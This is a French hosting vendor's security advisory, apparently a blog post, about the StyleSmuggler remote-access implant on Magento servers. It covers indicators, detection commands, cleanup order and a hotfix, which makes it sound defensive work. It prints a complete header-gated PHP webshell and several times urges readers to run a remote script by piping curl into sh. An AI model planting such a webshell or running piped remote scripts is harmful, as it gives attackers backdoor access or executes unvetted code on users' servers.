StyleSmuggler : l’implant Magento conçu pour survivre à vos contrôles de sécurité

StyleSmuggler : l’implant Magento conçu pour survivre à vos contrôles de sécurité
Un outil d’accès à distance écrit en Rust qui se propage via une faille RCE non authentifiée du framework Magento. Il se cache dans les répertoires de cache, usurpe son nom dans la liste des processus, conserve des copies de secours dans /tmp et installe une porte dérobée qui renvoie une erreur 404 à tout le monde sauf à l’attaquant. Voici comment vérifier votre boutique.

StyleSmuggler est un outil d’accès à distance écrit en Rust que l’on retrouve sur des serveurs Magento, introduit via une faille d’exécution de code à distance non authentifiée dans le framework Magento. Il mérite votre attention pour une raison précise : il est conçu pour survivre aux contrôles que la plupart des marchands effectuent réellement. Il se cache dans les répertoires de cache, se déguise dans la liste des processus, conserve des copies de secours de lui-même et installe une porte dérobée PHP qui renvoie une véritable erreur 404 à tout le monde, sauf à l’attaquant.

Si vous exploitez une boutique Magento, cet article vous donne les commandes pour la vérifier, l’ordre de nettoyage à suivre si vous trouvez quelque chose, et le correctif qui ferme la porte.

Pressé ? Connectez-vous en SSH à votre boutique et lancez notre scanner gratuit, sans inscription ni compte :
curl https://shopwhizzy.com/gowiz/external/agent | sh
Il analyse vos fichiers et votre base de données à la recherche de webshells, de skimmers et de signatures de malwares, et compare votre version de Magento aux bulletins d’Adobe. Lisez ensuite la section couche hôte ci-dessous, car il y a un aspect qu’aucune analyse au niveau de la boutique ne peut voir.

À quoi il ressemble sur le disque

Deux binaires ELF strippés, tous deux cachés dans des répertoires que personne n’inspecte jamais, puisqu’ils sont censés être remplis de fichiers jetables :

  • Au niveau du compte de la boutique : un binaire Rust static-PIE situé dans ~/.cache/chrony/chronyd, relancé par une entrée cron exécutée deux fois par heure.
  • Au niveau root : un binaire plus petit situé dans /root/.cache/fontconfig/fc-cache, avec sa propre entrée cron et une unité systemd dans /etc/systemd/system/fontconfig-cache.service dont l’ExecStart s’exécute en tant que root.

Les noms sont choisis pour passer inaperçus. chronyd est le démon de synchronisation de l’heure, fc-cache le générateur du cache de polices : exactement le genre de choses que l’on survole sans y prêter attention.

Lorsque les fichiers appartiennent à root:<your-shop-user>, vous êtes face à une élévation de privilèges et non à une simple compromission de l’application web : le périmètre du nettoyage est alors l’ensemble du serveur, pas seulement votre boutique.

Hashs malveillants connus

Quatre binaires distincts ont été observés. Faites la correspondance sur le SHA-256, jamais sur le nom de fichier : les noms sont volontairement plausibles et les copies de secours portent des noms aléatoires :

1a3374ffac5b0a62467612f264c49792d206304d4514409c982325c91231375d  2281147  static-PIE  ~/.cache/chrony/chronyd
500cd1231f4286225c9db434f126b7b6e2a0496f495586c02a5d123e49dc7a51   312048  dynamic     /root/.cache/fontconfig/fc-cache
4352cabaa451e5a894535fbcc4d46628701303322a13745cb5479d7d0534ae8e  2270031  static-PIE  ~/.cache/fontconfig/fc-cache
a5b9e9082ecd446ad89b94748b13175e972efc6ae53c024ffdc3ab668f20ae75  2128224  dynamic     /tmp/.kw_*

Quatre raisons pour lesquelles un contrôle rapide passera à côté

Voici les caractéristiques qui justifient un contrôle délibéré de StyleSmuggler plutôt qu’un simple coup d’œil.

1. Il ment sur son nom dans la liste des processus

Un implant en cours d’exécution apparaît dans ps sous le simple nom chronyd. Ni le chemin, ni le répertoire .cache : juste un nom de démon plausible. La recherche évidente ne trouve donc rien :

pgrep -f '\.cache/chrony/chronyd'   # matches only the short-lived cron wrapper, if anything

Ce qu’elle attrape parfois, c’est le wrapper /bin/sh -c <path> que cron lance pendant une seconde ou deux. Le tuer ne sert à rien : le démon continue de tourner et réécrit votre crontab en deux minutes environ.

Le contrôle efficace ignore totalement les noms et demande au noyau ce qu’est réellement chaque processus :

for p in /proc/[0-9]*; do
  exe=$(readlink "$p/exe" 2>/dev/null) || continue
  case "$exe" in
    *.cache/*|*/tmp/*) echo "$p -> $exe";;
  esac
done

2. Il conserve des copies de secours exécutables dans /tmp

L’implant dépose des copies exécutables de lui-même dans /tmp : mode 755, appartenant à l’utilisateur de votre boutique, avec des noms aléatoires de huit caractères et des extensions fantaisistes (/tmp/g7gylnwk.ha4), ainsi que des variantes cachées /tmp/.kw_<digits>.

C’est important pour le nettoyage. Neutraliser les deux chemins .cache connus et s’arrêter là laisse une copie fonctionnelle dans un répertoire accessible en écriture à tous. Analysez aussi les hashs de vos répertoires temporaires.

3. L’unité systemd est rendue immuable

Lorsqu’il existe un composant au niveau root, son fichier de service porte l’attribut immuable, et sa suppression échoue d’une manière qui ressemble à une protection du système plutôt qu’à l’œuvre d’un attaquant :

rm /etc/systemd/system/fontconfig-cache.service
rm: cannot remove '...': Operation not permitted

lsattr /etc/systemd/system/fontconfig-cache.service
----i---------e------- /etc/systemd/system/fontconfig-cache.service

Faites d’abord chattr -i, puis supprimez. Un script de nettoyage qui ne vérifie pas lsattr signalera un succès sur un fichier qui est toujours là.

4. Le webshell répond 404 à tout le monde sauf à l’attaquant

La réinfection passe par de minuscules webshells PHP (142 à 144 octets) déposés sous pub/media et var, dans des chemins qui ressemblent à des fichiers temporaires ordinaires de Magento :

pub/media/downloadable/tmp/in/uy/thumb_l2rdsak8.php
var/import/images/eu/li/product_gqami5d3.php

Tout le contenu se résume à un contrôle d’en-tête :

<?php if(($_SERVER['HTTP_X_CATALOG_VER']??'')!=='<md5>'){http_response_code(404);exit;} @eval($_POST['load']??''); ?>

Deux conséquences. D’abord, le nom de l’en-tête et la clé changent à chaque dépôt (X-Catalog-Ver et X-Thumb-Key ont tous deux été observés) : faites donc la correspondance sur la paire structurelle @eval($_POST[ plus http_response_code(404), jamais sur le nom de l’en-tête. Ensuite, comme chaque requête non authentifiée reçoit une véritable erreur 404, aucun scanner fonctionnant en HTTP depuis l’extérieur ne les verra jamais. On ne peut les trouver que sur le disque.

Une exclusion dont vous aurez besoin : excluez generated/code/ lorsque vous recherchez du contenu dans une arborescence Magento. La sortie de l’injection de dépendances de Magento inonderait vos résultats, et rien de tout cela n’est un webshell.

Vérifiez votre boutique

Le plus rapide est d’utiliser le scanner, qui se charge des fichiers et de la base de données pour vous et ne nécessite aucune installation :

curl https://shopwhizzy.com/gowiz/external/agent | sh

Il fonctionne sur toute installation Magento à laquelle vous avez accès en SSH (chez nous, sur votre propre serveur, sur la machine d’un client sous cPanel ou Plesk) et se termine par un lien vers un rapport privé. Il recherche dans les fichiers PHP et JavaScript les signatures de malwares, webshells et skimmers, contrôle vos blocs CMS, votre configuration et vos comptes administrateurs, et vérifie votre version de Magento au regard des bulletins de sécurité d’Adobe en inspectant le code plutôt qu’en se fiant à la chaîne de version.

Si vous préférez le faire à la main, ces quatre commandes sont en lecture seule et ne modifient rien :

# 1. Implant binaries in the usual hiding places
find ~/.cache /tmp /var/tmp /dev/shm -type f -size +100k 2>/dev/null \
  -exec sha256sum {} + | grep -Ff known_bad_hashes.txt

# 2. Processes whose real executable sits in a cache or temp directory
for p in /proc/[0-9]*; do
  e=$(readlink "$p/exe" 2>/dev/null)
  case "$e" in *.cache/*|/tmp/*) echo "$p -> $e";; esac
done

# 3. Cron entries pointing into a cache directory
crontab -l | grep -E '\.cache|chronyd|fc-cache'

# 4. Header-gated webshells (match the structure, not the header name)
grep -rlE 'http_response_code\(404\)' pub/media var --include='*.php' 2>/dev/null \
  | xargs -r grep -l '@eval($_POST\[' 2>/dev/null

Placez les quatre hashs ci-dessus dans known_bad_hashes.txt, un par ligne, avant de lancer la première.

Ce que votre propre analyse ne peut pas voir

C’est le point le plus important de cet article, et il s’applique quel que soit votre hébergeur ou votre scanner.

Sur les hébergements mutualisés et infogérés, les scanners de sécurité sont limités à votre compte. Ils lisent votre crontab, votre répertoire personnel, vos processus. C’est la bonne conception : vous ne devez pas pouvoir lister les fichiers d’un autre client, et lui ne doit pas pouvoir lister les vôtres.

Cela signifie aussi qu’un implant au niveau root est structurellement invisible pour tout rapport que vous pouvez lancer vous-même. Non pas manqué à cause d’une règle trop faible : invisible par conception, à chaque analyse, chaque nuit, pour toujours. Et avec StyleSmuggler, le composant root arrive souvent en premier, celui de la boutique arrivant ensuite.

Un rapport propre au niveau de la boutique signifie donc que votre boutique est propre. Il ne dit rien, et ne peut rien dire, du serveur qui se trouve en dessous.

La question à poser à votre hébergeur : « Qu’est-ce qui surveille la couche hôte : la crontab de root, /etc/systemd/system, les binaires appartenant à root dans les répertoires temporaires, et les processus appartenant à root ou à d’autres clients ? » Si la seule réponse est le scanner par compte que vous pouvez lancer vous-même, personne ne surveille cette couche.

Sur les serveurs gérés par ShopWhizzy, ce point est couvert indépendamment de votre propre rapport WhizzyScan, par des contrôles au niveau de l’hôte qui examinent spécifiquement ce qui se trouve en dehors de chaque compte : chemins d’indicateurs sous /root, binaires appartenant à root dans les répertoires temporaires, unités systemd dont l’ExecStart pointe là où il ne devrait pas, signalés avec leurs attributs lsattr afin qu’un fichier immuable ne puisse pas résister discrètement au nettoyage. Ces résultats sont transmis à notre équipe, car ils ne concernent pas une boutique en particulier.

Si vous trouvez quelque chose

L’ordre est important, car une mauvaise séquence permet à l’implant de se réparer pendant que vous travaillez :

  1. chmod 000 sur chaque copie des binaires, y compris celles de /tmp. Cela préserve les octets au cas où quelqu’un aurait besoin de les examiner plus tard.
  2. Mettez les webshells en quarantaine (sortez-les de la racine web ; ne vous contentez pas de les vider).
  3. Supprimez les entrées cron. S’il existe une unité systemd, appliquez-lui chattr -i puis supprimez-la.
  4. Tuez les processus via /proc/*/exe, et non par leur nom.
  5. Vérifiez à nouveau au bout de vingt secondes.

Cette dernière étape n’est pas facultative. Un démon survivant réécrit le cron en deux minutes environ : un contrôle lancé immédiatement après le nettoyage vous donnera raison, que le nettoyage ait fonctionné ou non.

Changez ensuite les identifiants. Si le niveau root était concerné, considérez comme exposé tout ce qui est accessible depuis ce serveur : les identifiants de base de données dans app/etc/env.php, tous les comptes administrateurs Magento, les clés d’API et jetons d’intégration, ainsi que tout mot de passe ou clé stocké dans des scripts sur la machine. Changer les deux plus évidents et s’arrêter là, c’est ainsi que des boutiques sont réinfectées quinze jours plus tard.

Fermez la porte : corrigez le vecteur d’entrée

Le point d’entrée est une faille d’exécution de code à distance non authentifiée dans le framework Magento, corrigée par le hotfix diffusé par Adobe sous la référence VULN-39341. Il existe des variantes pour 2.4.4-p18, 2.4.5-p17, 2.4.6-p15, 2.4.7-p10, 2.4.8-p5 et 2.4.9, et en pratique elles s’appliquent proprement bien au-delà de leur version nominale.

Il ne nécessite pas de recompilation DI. Le correctif ajoute un second argument au constructeur de Magento\Framework\View\Element\BlockFactory, mais le déclare sous la forme ?ConfigInterface $x = null avec un repli sur ObjectManager::getInstance(). C’est cette valeur par défaut nullable qui permet de l’appliquer sans risque sur une installation compilée : normalement, une modification de signature de constructeur met le site hors service jusqu’à ce que vous relanciez setup:di:compile.

Aucune variante de ce correctif ne s’applique en dessous de la 2.4.6. Si c’est votre cas, la solution est une montée de version, et non un hotfix, et elle doit être planifiée dès maintenant plutôt qu’au trimestre prochain.

Si patch rejette des blocs dans pub/errors/processor.php avec le message « different line endings », c’est que ce fichier mélange CRLF et LF (un état courant pour lui), et --ignore-whitespace n’y change rien. Scindez le correctif, appliquez tout le reste, puis normalisez ce fichier :

awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} !f' VULN-39341.patch > part1.patch
awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} f'  VULN-39341.patch > part2.patch
patch -p1 < part1.patch
sed -i 's/\r$//' pub/errors/processor.php
patch -p1 < part2.patch

Et tant que vous y êtes

Corriger le framework ferme cette porte-là. Les points de téléversement de fichiers que Magento expose par défaut en sont une autre, et ils constituent la voie la plus souvent exploitée pour pénétrer dans une boutique par ailleurs à jour. Nous avons présenté les deux correctifs (le module de protection PolyShell pour les téléversements des options personnalisées, et la désactivation du point de téléversement des adresses clients) dans notre article sur l’APSB25-88. Si vous ne les avez pas encore appliqués, faites-le lors de la même fenêtre de maintenance.

Trois enseignements à retenir

Un contrôle ciblé qui ne renvoie rien n’est pas un certificat de bonne santé. Cela signifie l’une de deux choses (aucun malware, ou un contrôle qui cherche au mauvais endroit), et vous ne pouvez pas savoir laquelle sans témoin. Affichez votre crontab brute et vérifiez que vous voyez bien des lignes dont vous connaissez l’existence. Vérifiez que votre find a réellement parcouru le répertoire visé. Un script qui code en dur pub/media sur une boutique dont la racine web est pub/ ne trouve pas ce répertoire et signale que tout est propre.

Faites la correspondance sur le contenu et les hashs, jamais sur les noms. Noms de fichiers, noms de processus et noms d’en-têtes sont ici tous contrôlés par l’attaquant, et tous trois changent d’un dépôt à l’autre.

Sachez qui surveille la couche hôte. Votre propre analyse couvre votre propre compte. Demandez à votre prestataire ce qui couvre le reste, et considérez une réponse vague comme un non.

Lancez l’analyse gratuite sur toute boutique Magento à laquelle vous avez accès en SSH : curl https://shopwhizzy.com/gowiz/external/agent | sh

Si un résultat critique apparaît et que vous souhaitez de l’aide pour le nettoyage, ouvrez un ticket et nous y jetterons un œil.